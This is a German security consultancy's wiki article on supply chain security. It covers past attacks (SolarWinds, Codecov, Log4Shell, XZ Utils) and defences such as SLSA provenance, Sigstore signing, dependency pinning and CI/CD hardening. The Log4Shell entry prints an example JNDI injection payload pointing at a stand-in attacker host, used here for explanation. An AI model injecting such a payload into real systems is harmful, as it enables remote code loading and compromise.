Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen

Software Supply Chain Security: SLSA, Sigstore und Dependency Management

Software Supply Chain Security schützt den gesamten Softwareentwicklungsprozess vor Kompromittierung - von Quellcode-Repositories über Build-Systeme bis zu Paket-Registries. SLSA (Supply-chain Levels for Software Artifacts) definiert Sicherheitsstufen für Build-Prozesse. Sigstore ermöglicht transparentes Code-Signing. Dieser Artikel erklärt SolarWinds, XZ Utils und andere Supply-Chain-Angriffe sowie praktische Gegenmaßnahmen.

Inhaltsverzeichnis (5 Abschnitte)

Software Supply Chain Security ist nach SolarWinds (2020), Codecov (2021), Log4Shell (2021), Kaseya (2021) und XZ Utils (2024) zu einem zentralen Thema geworden. Angreifer kompromittieren nicht mehr das Zielunternehmen direkt - sie kompromittieren die Softwarelieferkette: Build-Systeme, Paket-Registries, Open-Source-Pakete, CI/CD-Pipelines. Das Ergebnis: eine einzige kompromittierte Bibliothek → tausende betroffene Unternehmen.

Bekannte Supply Chain Angriffe

SolarWinds (Dezember 2020):
  Angriff:    SolarWinds Orion Build-System kompromittiert
  Methode:    Malicious Code in SUNBURST-Update injiziert
  Verbreitung: ~18.000 Unternehmen installierten das Update
  Betroffene: US-Regierungsbehörden, Fortune-500-Unternehmen
  Angreifer:  APT29 (Cozy Bear, russischer SVR)
  Lektion:    Build-System-Sicherheit ist kritisch; signierte Updates allein reichen nicht

Codecov (April 2021):
  Angriff:    Codecov Bash Uploader Script (codecov.io) kompromittiert
  Methode:    Angreifer änderte Script um CI/CD-Umgebungsvariablen zu exfiltrieren
  Auswirkung: Tausende CI/CD-Pipelines schickten ihre ENV VARS (API Keys, Tokens!)
  Betroffene: Twilio, Atlassian, HashiCorp (CI/CD-Secrets kompromittiert)
  Lektion:    Externe Scripts nie ohne Hash-Verifikation nutzen!
  Schutz:     curl ... | sha256sum --check (immer Hash prüfen!)

Log4Shell / Log4j (Dezember 2021):
  CVE:        CVE-2021-44228 (CVSS 10.0)
  Angriff:    JNDI-Lookup-Feature in Log4j 2.x missbraucht
  Methode:    ${jndi:ldap://attacker.com/exploit} in gelegtem Log-Eintrag
  Verbreitung: Fast jede Java-Applikation nutzt Log4j transitiv!
  Lektion:    Transitive Dependencies sind kritisch; SBOMs hätten geholfen

XZ Utils (März 2024):
  CVE:        CVE-2024-3094
  Angriff:    Langjährige Social-Engineering-Kampagne gegen xz-utils Maintainer
  Methode:    "Jia Tan" (Pseudonym) gewann 2 Jahre Vertrauen als Contributor
              Injizierte dann Backdoor in Release-Tarball (nicht im Git-Repo!)
  Betroffen:  SSH-Server auf systemd-basierten Systemen (Backdoor in sshd)
  Entdeckt:   Durch performance-anomaly (250ms Login-Verzögerung)
  Lektion:    Open Source Maintainer brauchen Unterstützung; Release-Artefakte != Source
              Code-Provenance kritisch (Artefakt vs. Source-Code)

Typosquatting (laufend):
  Beispiele:  "colourama" (statt "colorama"), "request" (statt "requests")
  Methode:    Identische Funktionalität + Malware
  Erkennung: tools wie pip-audit, Safety CLI, Dependabot

SLSA - Supply-chain Levels for Software Artifacts

SLSA (salsa ausgesprochen) - Framework von Google/CNCF:
  Ziel: Manipulationsschutz für Software-Artefakte durch Build-Provenance

SLSA Levels (v1.0):

SLSA Level 1 - Provenance vorhanden:
  → Build-System generiert Provenance (Metadaten über den Build)
  → Wer hat gebaut? Wann? Von welchem Quellcode? Mit welchen Parametern?
  → Format: SLSA Provenance attestation (JSON mit Signatur)
  → Schützt gegen: unbeabsichtigte Fehler, keine Angriffe

SLSA Level 2 - Build Service + signierte Provenance:
  → Gehosteter Build-Service (GitHub Actions, Cloud Build, GitLab CI)
  → Provenance vom Build-Service generiert und signiert
  → Quelle muss in Versionskontrolle sein
  → Schützt gegen: Einzelne kompromittierte Entwickler-Workstation

SLSA Level 3 - Gehärteter Build-Service:
  → Hardened Build: Build-Environment ephemer, auditierbar
  → Kein Einfluss von außen während Build
  → 2-Parteien-Genehmigung für Source-Änderungen
  → Schützt gegen: kompromittierte Build-Systeme (SolarWinds-ähnlich!)

SLSA Provenance - was es enthält:
  {
    "_type": "https://in-toto.io/Statement/v0.1",
    "predicateType": "https://slsa.dev/provenance/v1",
    "subject": [{
      "name": "myapp:v1.2.3",
      "digest": {"sha256": "abc123..."}  # Hash des Artefakts
    }],
    "predicate": {
      "buildDefinition": {
        "buildType": "https://github.com/actions/build@v1",
        "externalParameters": {
          "ref": "refs/tags/v1.2.3",
          "repository": "https://github.com/org/myapp"
        }
      },
      "runDetails": {
        "builder": {"id": "https://github.com/actions/runner"},
        "buildMetadata": {
          "invocationID": "https://github.com/org/myapp/actions/runs/12345"
        }
      }
    }
  }

GitHub Actions - SLSA Level 3 automatisch:
  # SLSA Generator Action:
  jobs:
    build:
      uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2
      permissions:
        actions: read
        id-token: write
        contents: write
      with:
        base64-subjects: "${{ needs.build.outputs.hashes }}"
  # Generiert automatisch SLSA Level 3 Provenance + SBOM!

Verifikation (Consumer-Seite):
  # slsa-verifier:
  slsa-verifier verify-artifact myapp.tar.gz \
    --provenance-path myapp.tar.gz.intoto.jsonl \
    --source-uri "github.com/org/myapp" \
    --source-tag "v1.2.3"
  # Output: PASSED: Provenance is valid!

Sigstore - Transparentes Code-Signing

Sigstore - CNCF Projekt für Software-Signing ohne Schlüssel-Management:

Kernkomponenten:
  Cosign:   Container-Image Signierung
  Fulcio:   Certificate Authority (OIDC-basiert, kurzlebige Zertifikate)
  Rekor:    Transparency Log (unveränderliche Audit-Trail)
  Gitsign:  Git-Commit-Signierung

Cosign - Container-Image Signierung:

  # Image signieren (keyless - kein eigenes Schlüsselpaar nötig!):
  cosign sign ghcr.io/myorg/myapp:v1.2.3
  # → Öffnet Browser für GitHub/Google/Microsoft OIDC-Login
  # → Cosign erhält kurzlebiges Zertifikat von Fulcio (10 Minuten!)
  # → Signatur + Zertifikat werden in Rekor (Transparency Log) gespeichert
  # → Signatur an Image angehängt (OCI Registry)

  # Verifikation:
  cosign verify ghcr.io/myorg/myapp:v1.2.3 \
    --certificate-identity="https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3" \
    --certificate-oidc-issuer="https://token.actions.githubusercontent.com"
  # → Prüft: Wurde das Image vom GitHub Actions Workflow von myorg/myapp signiert?

  # Mit eigenen Schlüsseln (klassisch):
  cosign generate-key-pair  # Erstellt cosign.key + cosign.pub
  cosign sign --key cosign.key ghcr.io/myorg/myapp:v1.2.3
  cosign verify --key cosign.pub ghcr.io/myorg/myapp:v1.2.3

Rekor - Transparency Log:
  # Alle Signaturen öffentlich einsehbar:
  rekor-cli search --email "developer@firma.de"
  rekor-cli get --uuid <uuid>
  # → Unveränderlich: Signatur kann nicht nachträglich gelöscht werden!
  # → Ähnlich Certificate Transparency Logs für TLS

  # Wichtig: Keyless = E-Mail-Adresse im Log sichtbar!
  # → Datenschutz: für private Releases eigene Schlüssel nutzen

Kubernetes Policy - nur signierte Images erlauben:
  # Kyverno Policy:
  apiVersion: kyverno.io/v1
  kind: ClusterPolicy
  metadata:
    name: require-signed-images
  spec:
    validationFailureAction: Enforce
    rules:
    - name: check-image-signature
      match:
        resources:
          kinds: [Pod]
      verifyImages:
      - imageReferences: ["ghcr.io/myorg/*"]
        attestors:
        - count: 1
          entries:
          - keyless:
              subject: "https://github.com/myorg/myapp/.github/workflows/*"
              issuer: "https://token.actions.githubusercontent.com"
  # → Kein Pod startet wenn Image nicht von myorg GitHub Actions signiert!

Sigstore in Python (sigstore-python):
  pip install sigstore
  sigstore sign myapp.tar.gz  # Signieren
  sigstore verify myapp.tar.gz  # Verifizieren

Dependency Security

Sichere Abhängigkeitsverwaltung:

Dependency Pinning (exakte Versionen):
  # Python requirements.txt:
  # SCHLECHT: kein Pinning
  requests
  flask

  # GUT: exakte Version gepinnt
  requests==2.31.0
  flask==3.0.0

  # BESSER: Hash-basiertes Pinning (Inhalt, nicht nur Version)
  requests==2.31.0 \
    --hash=sha256:58cd2187423839 \
    --hash=sha256:a240be4fb75534e4 \
  # pip install --require-hashes: erzwingt Hash-Prüfung!

  # Node.js package-lock.json / pnpm-lock.yaml:
  # Lock-Datei: exakte Versionen + Hashes für alle transitiven Abhängigkeiten
  npm ci  # Installiert aus Lock-Datei (kein Upgrade!)
  pnpm install --frozen-lockfile  # Fehler wenn Lock-Datei veraltet

  # Go go.sum:
  # Cryptographic checksums für alle Packages
  go mod verify  # Prüft alle Hashes gegen go.sum

Private Package Registry:
  # Verhindern: Dependency Confusion Attacks
  # Angreifer publiziert öffentliches Paket mit gleichem Namen wie internes!

  # npm .npmrc:
  @myorg:registry=https://nexus.intern.firma.de/repository/npm/
  always-auth=true
  # → @myorg Pakete immer vom internen Registry (nicht npmjs.com)!

  # pip --index-url:
  pip install --index-url https://nexus.intern/simple/ myinternal-pkg
  # Oder: pip.conf
  [global]
  index-url = https://nexus.intern/simple/
  extra-index-url = https://pypi.org/simple/  # Als Fallback

Dependency Review (GitHub):
  # .github/workflows/dependency-review.yml
  name: Dependency Review
  on: [pull_request]
  jobs:
    review:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4
        - uses: actions/dependency-review-action@v4
          with:
            fail-on-severity: high
            # Blockt PR wenn High CVE in neuer Dependency!

Automatische Vulnerability Alerts:
  Dependabot (GitHub):  Automatische PRs für verwundbare Packages
  Renovate (OSS):       Intelligentere Upgrade-Strategie, gruppiert Updates
  Snyk:                 Kommerziell, sehr gute Developer Experience
  pip-audit:            pip install pip-audit → pip-audit (lokal, kostenlos)
  npm audit:            npm audit fix → automatische Fixes

Typosquatting-Schutz:
  # Vor Installation neuer Packages prüfen:
  pip install pypi-simple  # Listet alle ähnlichen Namen
  # OSS: confusable-homoglyphs → findet visuell ähnliche Namen
  # Policy: interne Packages immer mit @org-Namespace
  # Review: alle neuen Packages manuell reviewen (Contributor-Check)

CI/CD Pipeline Hardening

CI/CD Security Best Practices:

Secrets Management:
  # NIEMALS: Secrets in Code, Job-Logs, Artifacts
  # IMMER: Secrets via Secret Store

  # GitHub Actions Secrets:
  - name: Deploy
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
    run: aws deploy ...

  # Principle of Least Privilege für Secrets:
  → Deployment-Secret: nur für main Branch + manuell getriggerte Workflows
  → OIDC statt long-lived Secrets (bevorzugt!):

  # AWS OIDC statt Access Keys:
  permissions:
    id-token: write
  steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123:role/GitHubActions
      aws-region: eu-central-1
  # → Kein Access Key gespeichert! Token kurzlebig (15 Minuten)

Hermetic Builds:
  → Build-Umgebung vollständig deterministisch
  → Alle Dependencies gepinnt (exakte Versionen + Hashes)
  → Kein Internet-Zugriff während Build (Offline-Build!)
  → Reproducible Builds: gleicher Input → gleicher Output

Build Isolation:
  # Jeder Build: frische, ephemere Umgebung
  # NIEMALS: persistente Build-Worker (könnten kompromittiert sein)
  # GitHub Actions: jeder Job: neuer Container
  # Self-Hosted Runner: Ephemeral Runners nutzen (nicht persistent!)

Code Review Enforcement:
  # Branch Protection Rules (GitHub):
  Required approvals: 2 (4-Augen-Prinzip!)
  Require status checks: CI muss grün sein
  Restrict pushes: nur über PRs (kein direkter Push auf main)
  Signed commits: required (GPG oder SSH Signierung)

  # Git commit signing (Sigstore Gitsign):
  git config --global commit.gpgsign true
  git config --global gpg.format x509
  git config --global gpg.x509.program gitsign
  git config --global gitsign.connectorID https://oauth2.sigstore.dev/auth/github

Dependency Confusion Prevention:
  # npm:
  # package.json: private = true (internes Package nie veröffentlicht)
  { "name": "@myorg/internal-lib", "private": true }

  # Scoped packages: @myorg/ → interner Registry configured
  # .npmrc: @myorg:registry=https://intern-registry/

  # Python: interner Paketname mit Firmenprefix
  # Setup.py: packages = ["myorg_internal_lib"] → schwer zu squatten

Fragen zu diesem Thema?

Unsere Experten beraten Sie kostenlos und unverbindlich.

Erstberatung

Über den Autor

Jan Hörnemann
Jan Hörnemann

Chief Operating Officer · Prokurist

M.Sc. Internet-Sicherheit (if(is), Westfälische Hochschule). COO und Prokurist mit Expertise in Informationssicherheitsberatung und Security Awareness. Nachwuchsprofessor für Cyber Security an der FOM Hochschule, CISO-Referent bei der isits AG und Promovend am Graduierteninstitut NRW.

ISO 27001 Lead Auditor (PECB/TÜV) T.I.S.P. (TeleTrusT) ITIL 4 (PeopleCert) BSI IT-Grundschutz-Praktiker (DGI) Ext. ISB (TÜV) BSI CyberRisikoCheck CEH (EC-Council)
Dieser Artikel wurde zuletzt am 04.03.2026 bearbeitet. Verantwortlich: Jan Hörnemann, Chief Operating Officer · Prokurist bei AWARE7 GmbH. Lizenz: CC BY 4.0 — freie Nutzung mit Namensnennung: „AWARE7 GmbH, https://a7.de

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung